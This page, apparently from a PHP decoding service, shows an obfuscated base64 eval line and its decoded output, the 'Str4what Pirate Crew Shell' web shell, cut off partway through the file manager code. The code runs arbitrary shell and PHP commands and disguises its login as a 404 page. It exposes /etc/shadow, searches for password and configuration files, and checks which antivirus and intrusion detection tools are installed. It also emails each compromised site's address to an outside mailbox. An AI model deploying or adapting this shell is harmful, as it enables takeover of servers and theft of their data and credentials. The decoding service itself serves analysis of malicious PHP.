Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval("?>".base64_decode("PD9waHANCg0KDQokY29sb3IgPSAiI0ZFQ0QwMSI7DQokZGVmYXVsdF9hY..
Decoded Output download
?>b'<?php
$color = "#FECD01";
$default_action = \'FilesMan\';
@define(\'SELF_PATH\', __FILE__);
if( strpos($_SERVER[\'HTTP_USER_AGENT\'],\'Google\') !== false ) {
header(\'HTTP/1.0 404 Not Found\');
exit;
}
@session_start();
@error_reporting(0);
@ini_set(\'error_log\',NULL);
@ini_set(\'display_errors\',0);
@ini_set(\'log_errors\',0);
@ini_set(\'max_execution_time\',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define(\'VERSION\', \'Ver 3.0\');
if( get_magic_quotes_gpc() ) {
function stripslashes_array($array) {
return is_array($array) ? array_map(\'stripslashes_array\', $array) : stripslashes($array);
}
$_POST = stripslashes_array($_POST);
}
function printLogin() {
echo \'<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache Server at \'.$_SERVER[\'HTTP_HOST\'].\' Port 80</address>
<style>input { margin:0;background-color:#fff;border:1px solid #fff; }</style>\';
exit;
}
if( !isset( $_SESSION[$_SERVER[\'HTTP_HOST\']] ))
if( empty( $auth_pass ) ||
( isset( $_GET[\'pass\'] ) && ($_GET[\'pass\'] == $auth_pass ) ) )
$_SESSION[$_SERVER[\'HTTP_HOST\']] = true;
else
printLogin();
if( strtolower( substr(PHP_OS,0,3) ) == "win" )
$os = \'win\';
else
$os = \'nix\';
$safe_mode = @ini_get(\'safe_mode\');
$disable_functions = @ini_get(\'disable_functions\');
$home_cwd = @getcwd();
if( isset( $_POST[\'c\'] ) )
@chdir($_POST[\'c\']);
$cwd = @getcwd();
if( $os == \'win\') {
$home_cwd = str_replace("\", "/", $home_cwd);
$cwd = str_replace("\", "/", $cwd);
}
if( $cwd[strlen($cwd)-1] != \'/\' )
$cwd .= \'/\';
if($os == \'win\') {
$aliases = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
} else {
$aliases = array(
"List dir" => "ls -la",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"Find" => "",
"find all suid files" => "find / -type f -perm -04000 -ls",
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
"find all sgid files" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php files" => "find / -type f -name config.inc.php",
"find config* files" => "find / -type f -name \"config*\"",
"find config* files in current dir" => "find . -type f -name \"config*\"",
"find all writable folders and files" => "find / -perm -2 -ls",
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
"find all service.pwd files" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find all .htpasswd files" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find all .bash_history files" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf files" => "locate httpd.conf",
"locate vhosts.conf files" => "locate vhosts.conf",
"locate proftpd.conf files" => "locate proftpd.conf",
"locate psybnc.conf files" => "locate psybnc.conf",
"locate my.conf files" => "locate my.conf",
"locate admin.php files" =>"locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files " => "locate config",
"locate .conf files"=>"locate \'.conf\'",
"locate .pwd files" => "locate \'.pwd\'",
"locate .sql files" => "locate \'.sql\'",
"locate .htpasswd files" => "locate \'.htpasswd\'",
"locate .bash_history files" => "locate \'.bash_history\'",
"locate .mysql_history files" => "locate \'.mysql_history\'",
"locate .fetchmailrc files" => "locate \'.fetchmailrc\'",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"
);
}
function ex($in) {
$out = \'\';
if(function_exists(\'exec\')) {
@exec($in,$out);
$out = @join("
",$out);
}elseif(function_exists(\'passthru\')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
}elseif(function_exists(\'system\')) {
ob_start();
@system($in);
$out = ob_get_clean();
}elseif(function_exists(\'shell_exec\')) {
$out = shell_exec($in);
}elseif(is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
function which($p) {
$path = ex(\'which \'.$p);
if(!empty($path))
return $path;
return false;
}
function printHeader() {
if(empty($_POST[\'charset\']))
$_POST[\'charset\'] = "UTF-8";
global $color;
echo \'<html><head><meta http-equiv="Content-Type" content="text/html; charset=\'.$_POST[\'charset\'].\'"><title>.::Str4what Pirate Crew Shell::.</title><link REL="SHORTCUT ICON" HREF="http://s24.postimg.org/qrcevfpqp/123.png">
<style>
body {background-color:#222;color:#fff;}
body,td,th { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
span,h1,a { color:\'.$color.\' !important; }
span { font-weight: bolder; }
h1 { padding: 2px 5px;font: 14pt Verdana;margin:0px 0 0 5px; }
div.content { padding: 5px;margin:0 5px;background: #333333;border-bottom:5px solid #444;}
a { text-decoration:none; }
a:hover { /*background:#5e5e5e;*/ }
.ml1 { border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea { width:100%;height:250px;margin-top:5px;}
input, textarea, select { margin:0;color:#00FFFF;background-color:#555;border:1px solid \'.$color.\'; font: 9pt Monospace,"Courier New"; }
input[type="button"]:hover,input[type="submit"]:hover {background-color:\'.$color.\';color:#000;}
form { margin:0px; }
#toolsTbl { text-align:center; }
.toolsInp { width: 80%; }
.main th {text-align:left;background-color:#555;font-weight: bold;}
.main tr:hover{background-color:#5e5e5e;}
.main td, th{vertical-align:middle;}
.menu {background: #333;}
.menu th{padding:5px;font-weight:bold;}
.menu th:hover{background:#444;}
.l1 {background-color:#444;}
pre {font-family:Courier,Monospace;}
#cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
.logo {text-align:center;font-size:60px;}
.logo sup {font-size: 15px;vertical-align: top;margin-left: -14px;}
.cpr {margin-bottom:5px;font-weight:bold;}
.cpb {width:34px;margin:0 5px;}
.eca1 {font-size: 16px;font-weight: bold;letter-spacing: 10px;margin: 0 2px 0 17px;text-align: center;}
.eca2 {font-size: 13px;font-weight: bold;letter-spacing: 3px;margin: 0 2px 0 7px;text-align: center;}
.npoad td {padding:0;}
</style>
<script>
function set(a,c,p1,p2,p3,charset) {
if(a != null)document.mf.a.value=a;
if(c != null)document.mf.c.value=c;
if(p1 != null)document.mf.p1.value=p1;
if(p2 != null)document.mf.p2.value=p2;
if(p3 != null)document.mf.p3.value=p3;
if(charset != null)document.mf.charset.value=charset;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
document.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = "ajax=true";
for(i=0;i<document.mf.elements.length;i++)
params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
sr("\'.$_SERVER[\'REQUEST_URI\'].\'", params);
}
function sr(url, params) {
if (window.XMLHttpRequest) {
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
req.open("POST", url, true);
req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
req.send(params);
}
else if (window.ActiveXObject) {
req = new ActiveXObject("Microsoft.XMLHTTP");
if (req) {
req.onreadystatechange = processReqChange;
req.open("POST", url, true);
req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
req.send(params);
}
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
//alert(req.responseText);
var reg = new RegExp("(\d+)([\S\s]*)", "m");
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
}
else alert("Request error!");
}
</script>
<head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;">
<form method=post name=mf style="display:none;">
<input type=hidden name=a value="\'.(isset($_POST[\'a\'])?$_POST[\'a\']:\'\').\'">
<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
<input type=hidden name=p1 value="\'.(isset($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'">
<input type=hidden name=p2 value="\'.(isset($_POST[\'p2\'])?htmlspecialchars($_POST[\'p2\']):\'\').\'">
<input type=hidden name=p3 value="\'.(isset($_POST[\'p3\'])?htmlspecialchars($_POST[\'p3\']):\'\').\'">
<input type=hidden name=charset value="\'.(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\').\'">
</form>\';
$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);
$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);
$totalSpace = $totalSpace?$totalSpace:1;
$disable_functions = @ini_get(\'disable_functions\');
$release = @php_uname(\'r\');
$kernel = @php_uname(\'s\');
if(!function_exists(\'posix_getegid\')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(@posix_geteuid());
$gid = @posix_getgrgid(@posix_getegid());
$user = $uid[\'name\'];
$uid = $uid[\'uid\'];
$group = $gid[\'name\'];
$gid = $gid[\'gid\'];
}
$cwd_links = \'\';
$path = explode("/", $GLOBALS[\'cwd\']);
$n=count($path);
for($i=0;$i<$n-1;$i++) {
$cwd_links .= "<a href=\'#\' onclick=\'g(\"FilesMan\",\"";
for($j=0;$j<=$i;$j++)
$cwd_links .= $path[$j].\'/\';
$cwd_links .= "\")\'>".$path[$i]."/</a>";
}
$charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');
$opt_charsets = \'\';
foreach($charsets as $item)
$opt_charsets .= \'<option value="\'.$item.\'" \'.($_POST[\'charset\']==$item?\'selected\':\'\').\'>\'.$item.\'</option>\';
$m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Console\'=>\'Console\',\'Sql\'=>\'Sql\',\'Php\'=>\'Php\',\'Bypasser\'=>\'SafeMode\',\'Safe Mode\'=>\'Bypass\',\'String tools\'=>\'StringTools\',\'Bruteforce\'=>\'Bruteforce\',\'Network\'=>\'Network\',\'Readable Dirs\'=>\'Readable\',\'Port Scanner\'=>\'PortScanner\',\'Symlink\'=>\'Symlink\',\'DDoS\'=>\'Ddos\',\'Mail\'=>\'Mail\',\'Code Injector\'=>\'Injector\');
if(!empty($GLOBALS[\'auth_pass\']))
$m[\'SelfKill\'] = \'SelfRemove\';
$m[\'Logout\'] = \'Logout\';
$menu = \'\';
foreach($m as $k => $v)
$menu .= \'<th><a href="#" onclick="g(\'\'.$v.\'\',null,\'\',\'\',\'\')">\'.$k.\'</a></th>\';
$drives = "";
if ($GLOBALS[\'os\'] == \'win\') {
foreach( range(\'a\',\'z\') as $drive ){
if (is_dir($drive.\':\\'))
$drives .= \'<a href="#" onclick="g(\'FilesMan\',\'\'.$drive.\':/\')">[ \'.$drive.\' ]</a> \';
}
$drives .= \'<br />: \';
}
if($GLOBALS[\'os\'] == \'nix\') {
$dominios = @file_get_contents("/etc/named.conf");
if(!$dominios) {
$d0c = "CANT READ named.conf";
} else {
@preg_match_all(\'/.*?zone "(.*?)" {/\', $dominios, $out);
$out = sizeof(array_unique($out[1]));
$d0c = $out." Domains";
}
} else {
$d0c = " --- ";
}
if($GLOBALS[\'os\'] == \'nix\' )
{
$usefl = \'\'; $dwnldr = \'\';
if(!@ini_get(\'safe_mode\')) {
$userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');
foreach($userful as $item) { if(which($item)) $usefl.= $item.\',\'; }
$downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');
foreach($downloaders as $item2) { if(which($item2)) $dwnldr.= $item2.\',\'; }
} else {
$usefl = \' ------- \'; $dwnldr = \' ------- \';
}
} else {
$usefl = \' ------- \'; $dwnldr = \' ------- \';
}
echo \'<table class="info" cellpadding="0" cellspacing="0" width="100%"><tr><td width="160px"><div class="logo"><img src="http://i44.tinypic.com/1175nkj.gif" id="logo" height="75%" width="90%"/></div><hr style="margin: -5px 13px 2px 17px;width:160px;"><div class="eca1">Str4what</div><div class="eca2">P1rate Crew</div></td>
<td><table cellpadding="3" cellspacing="0" class="npoad"><tr><td width="125px;"><span>Uname</span></td><td>: <nobr>\'.substr(@php_uname(), 0, 120).\'</nobr></td></tr>
<tr><td><span>User</span></td><td>: \'.$uid.\' ( \'.$user.\' ) <span>Group: </span> \'.$gid.\' ( \'.$group.\' )</td></tr><tr><td><span>Server</span></td><td>: \'.@getenv(\'SERVER_SOFTWARE\').\'</td></tr><tr><td><span>Useful</span></td><td>: \'.$usefl.\'</td></tr><tr><td><span>Downloaders</span></td><td>: \'.$dwnldr.\'</td></tr><tr><td><span>Disabled functions</span></td><td>: \'.($disable_functions?$disable_functions:\'All Function Enable\').\'</td></tr><tr><td><span>\'.($GLOBALS[\'os\'] == \'win\'?\'Drives<br />Cwd\':\'Cwd\').\'</span></td><td>: \'.$drives.\'\'.$cwd_links.\' \'.viewPermsColor($GLOBALS[\'cwd\']).\' <a href=# onclick="g(\'FilesMan\',\'\'.$GLOBALS[\'home_cwd\'].\'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>\'.
\'<td width=1><nobr><span>Server IP</span><br><span>Client IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>\'.
\'<td><nobr>: \'.gethostbyname($_SERVER["HTTP_HOST"]).\'<br>: \'.$_SERVER[\'REMOTE_ADDR\'].\'<br />: \'.viewSize($totalSpace).\'<br />: \'.viewSize($freeSpace).\' (\'.(int)($freeSpace/$totalSpace*100).\'%)<br>: \'.@phpversion().\' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: \'.($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=\'.$color.\'<b>OFF</b></font>\').\'<br />: \'.$d0c.\'</nobr></td></tr></table>\'.
\'</div></div><div style="margin:5;background:#444;"><div class="content" style="border-top:5px solid #444;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>\'.$menu.\'</tr></table></div></div><div style="margin:5;background:#444;">\';
}
function printFooter() {
$is_writable = is_writable($GLOBALS[\'cwd\'])?"<font color=#6699ff>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
echo \'</div><div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;">
<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
<tr>
<td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'"><input type=submit value=">>"></form></td>
<td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
</tr>
<tr>
<td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>\'.$is_writable.\'</td>
<td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>\'.$is_writable.\'</td>
</tr>
<tr>
<td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
<td><form method="post" ENCTYPE="multipart/form-data">
<input type=hidden name=a value="FilesMAn">
<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
<input type=hidden name=p1 value="uploadFile">
<input type=hidden name=charset value="\'.(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\').\'">
<span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>\'.$is_writable.\'</td>
</tr>
</table></div></div>
<div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;text-align:center;font-weight:bold;">Str4what Pirate Crew Shell\'.VERSION.\', © Zyb3r Private Shell</div></div>
</div>
</body></html>\';
}
if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false) ) { function posix_getpwuid($p) { return false; } }
if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false) ) { function posix_getgrgid($p) { return false; } }
if(!isset($_SESSION[\'trimite\'])){
$url=$_SERVER[\'HTTP_HOST\'].$_SERVER[\'REQUEST_URI\'].\'<br />User IP: \'.$_SERVER[\'REMOTE_ADDR\'].(isset($_SERVER[\'HTTP_X_FORWARDED_FOR\'])?\'(\'.$_SERVER[\'HTTP_X_FORWARDED_FOR\'].\')\':\'\');
@mail("[email protected]","shelled-sites",$url);
$_SESSION[\'trimite\']=true;
}
function viewSize($s) {
if($s >= 1073741824)
return sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';
elseif($s >= 1048576)
return sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';
elseif($s >= 1024)
return sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';
else
return $s . \' B\';
}
function perms($p) {
if (($p & 0xC000) == 0xC000)$i = \'s\';
elseif (($p & 0xA000) == 0xA000)$i = \'l\';
elseif (($p & 0x8000) == 0x8000)$i = \'-\';
elseif (($p & 0x6000) == 0x6000)$i = \'b\';
elseif (($p & 0x4000) == 0x4000)$i = \'d\';
elseif (($p & 0x2000) == 0x2000)$i = \'c\';
elseif (($p & 0x1000) == 0x1000)$i = \'p\';
else $i = \'u\';
$i .= (($p & 0x0100) ? \'r\' : \'-\');
$i .= (($p & 0x0080) ? \'w\' : \'-\');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));
$i .= (($p & 0x0020) ? \'r\' : \'-\');
$i .= (($p & 0x0010) ? \'w\' : \'-\');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));
$i .= (($p & 0x0004) ? \'r\' : \'-\');
$i .= (($p & 0x0002) ? \'w\' : \'-\');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));
return $i;
}
function viewPermsColor($f) {
if (!@is_readable($f))
return \'<font color=#FF0000><b>\'.perms(@fileperms($f)).\'</b></font>\';
elseif (!@is_writable($f))
return \'<font color=white><b>\'.perms(@fileperms($f)).\'</b></font>\';
else
return \'<font color=#3399CC><b>\'.perms(@fileperms($f)).\'</b></font>\';
}
if(!function_exists("scandir")) {
function scandir($dir) {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh))) {
$files[] = $filename;
}
return $files;
}
}
function actionSecInfo() {
printHeader();
echo \'<h1>Server security information</h1><div class=content>\';
function showSecParam($n, $v) {
$v = trim($v);
if($v) {
echo \'<span>\'.$n.\': </span>\';
if(strpos($v, "
") === false)
echo $v.\'<br>\';
else
echo \'<pre class=ml1>\'.$v.\'</pre>\';
}
}
showSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));
showSecParam(\'Disabled PHP Functions\', ($GLOBALS[\'disable_functions\'])?$GLOBALS[\'disable_functions\']:\'none\');
showSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));
showSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));
showSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));
showSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');
$temp=array();
if(function_exists(\'mysql_get_client_info\'))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists(\'mssql_connect\'))
$temp[] = "MSSQL";
if(function_exists(\'pg_connect\'))
$temp[] = "PostgreSQL";
if(function_exists(\'oci_connect\'))
$temp[] = "Oracle";
showSecParam(\'Supported databases\', implode(\', \', $temp));
echo \'<br>\';
if( $GLOBALS[\'os\'] == \'nix\' ) {
$userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');
$danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');
$downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');
showSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"/etc/\", \"passwd\")\'>[view]</a>":\'no\');
showSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"etc\", \"shadow\")\'>[view]</a>":\'no\');
showSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));
showSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));
if(!$GLOBALS[\'safe_mode\']) {
echo \'<br>\';
$temp=array();
foreach ($userful as $item)
if(which($item)){$temp[]=$item;}
showSecParam(\'Userful\', implode(\', \',$temp));
$temp=array();
foreach ($danger as $item)
if(which($item)){$temp[]=$item;}
showSecParam(\'Danger\', implode(\', \',$temp));
$temp=array();
foreach ($downloaders as $item)
if(which($item)){$temp[]=$item;}
showSecParam(\'Downloaders\', implode(\', \',$temp));
echo \'<br/>\';
showSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));
showSecParam(\'HDD space\', ex(\'df -h\'));
showSecParam(\'Mount options\', @file_get_contents(\'/etc/fstab\'));
}
} else {
showSecParam(\'OS Version\',ex(\'ver\'));
showSecParam(\'Account Settings\',ex(\'net accounts\'));
showSecParam(\'User Accounts\',ex(\'net user\'));
}
echo \'</div>\';
printFooter();
}
function actionPhp() {
if( isset($_POST[\'ajax\']) ) {
$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = true;
ob_start();
eval($_POST[\'p1\']);
$temp = "document.getElementById(\'PhpOutput\').style.display=\'\';document.getElementById(\'PhpOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"
\\'")."\';
";
echo strlen($temp), "
", $temp;
exit;
}
printHeader();
if( isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'info\') ) {
echo \'<h1>PHP info</h1><div class=content>\';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace(\'!body {.*}!msiU\',\'\',$tmp);
$tmp = preg_replace(\'!a:\w+ {.*}!msiU\',\'\',$tmp);
$tmp = preg_replace(\'!h1!msiU\',\'h2\',$tmp);
$tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp);
$tmp = preg_replace(\'!body, td, th, h2, h2 {.*}!msiU\',\'\',$tmp);
echo $tmp;
echo \'</div><br>\';
}
if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\'] = false;
echo \'<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>\'.(!empty($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'</textarea><input type=submit value=Eval style="margin-top:5px">\';
echo \' <input type=checkbox name=ajax value=1 \'.(@$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX</form><pre id=PhpOutput style="\'.(empty($_POST[\'p1\'])?\'display:none;\':\'\').\'margin-top:5px;" class=ml1>\';
if(!empty($_POST[\'p1\'])) {
ob_start();
eval($_POST[\'p1\']);
echo htmlspecialchars(ob_get_clean());
}
echo \'</pre></div>\';
printFooter();
}
function actionFilesMan() {
printHeader();
echo \'<h1>File manager</h1><div class=content>\';
if(isset($_POST[\'p1\'])) {
switch($_POST[\'p1\']) {
case \'uploadFile\':
if(!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $_FILES[\'f\'][\'name\']))
echo "Can\'t upload file!";
break;
break;
case \'mkdir\':
if(!@mkdir($_POST[\'p2\']))
echo "Can\'t create new dir";
break;
case \'delete\':
function deleteDir($path) {
$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
rmdir($path);
}
if(is_array(@$_POST[\'f\']))
foreach($_POST[\'f\'] as $f) {
$f = urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
}
break;
case \'paste\':
if($_SESSION[\'act\'] == \'copy\') {
function copy_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = opendir($c.$s);
while (($f = readdir($h)) !== false)
if (($f != ".") and ($f != "..")) {
copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');
}
} elseif(is_file($c.$s)) {
@copy($c.$s, $d.$s);
}
}
foreach($_SESSION[\'f\'] as $f)
copy_paste($_SESSION[\'cwd\'],$f, $GLOBALS[\'cwd\']);
} elseif($_SESSION[\'act\'] == \'move\') {
function move_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = opendir($c.$s);
while (($f = readdir($h)) !== false)
if (($f != ".") and ($f != "..")) {
copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');
}
} elseif(is_file($c.$s)) {
@copy($c.$s, $d.$s);
}
}
foreach($_SESSION[\'f\'] as $f)
@rename($_SESSION[\'cwd\'].$f, $GLOBALS[\'cwd\'].$f);
}
unset($_SESSION[\'f\']);
break;
default:
if(!empty($_POST[\'p1\']) && (($_POST[\'p1\'] == \'copy\')||($_POST[\'p1\'] == \'move\')) ) {
$_SESSION[\'act\'] = @$_POST[\'p1\'];
$_SESSION[\'f\'] = @$_POST[\'f\'];
foreach($_SESSION[\'f\'] as $k => $f)
$_SESSION[\'f\'][$k] = urldecode($f);
$_SESSION[\'cwd\'] = @$_POST[\'c\'];
}
break;
}
echo \'<script>document.mf.p1.value="";document.mf.p2.value="";</script>\';
}
$dirContent = @scandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);
if($dirContent === false) { echo \'Can\'t open this folder!\'; return; }
global $sort;
$sort = array(\'name\', 1);
if(!empty($_POST[\'p1\'])) {
if(preg_match(\'!s_([A-z]+)_(\d{1})!\', $_POST[\'p1\'], $match))
$sort = array($match[1], (int)$match[2]);
}
echo \'<script>
function sa() {
for(i=0;i<document.files.elements.length;i++)
if(document.files.elements[i].type == \'checkbox\')
document.files.elements[i].checked = document.files.elements[0].checked;
}
</script>
<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
<form name=files method=post>\';
echo "<tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")\'>Permissions</a></th><th>Actions</th></tr>";
$dirs = $files = $links = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array(\'name\' => $dirContent[$i],
\'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],
\'modify\' => @date(\'Y-m-d H:i:s\',@filemtime($GLOBALS[\'cwd\'].$dirContent[$i])),
\'perms\' => viewPermsColor($GLOBALS[\'cwd\'].$dirContent[$i]),
\'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),
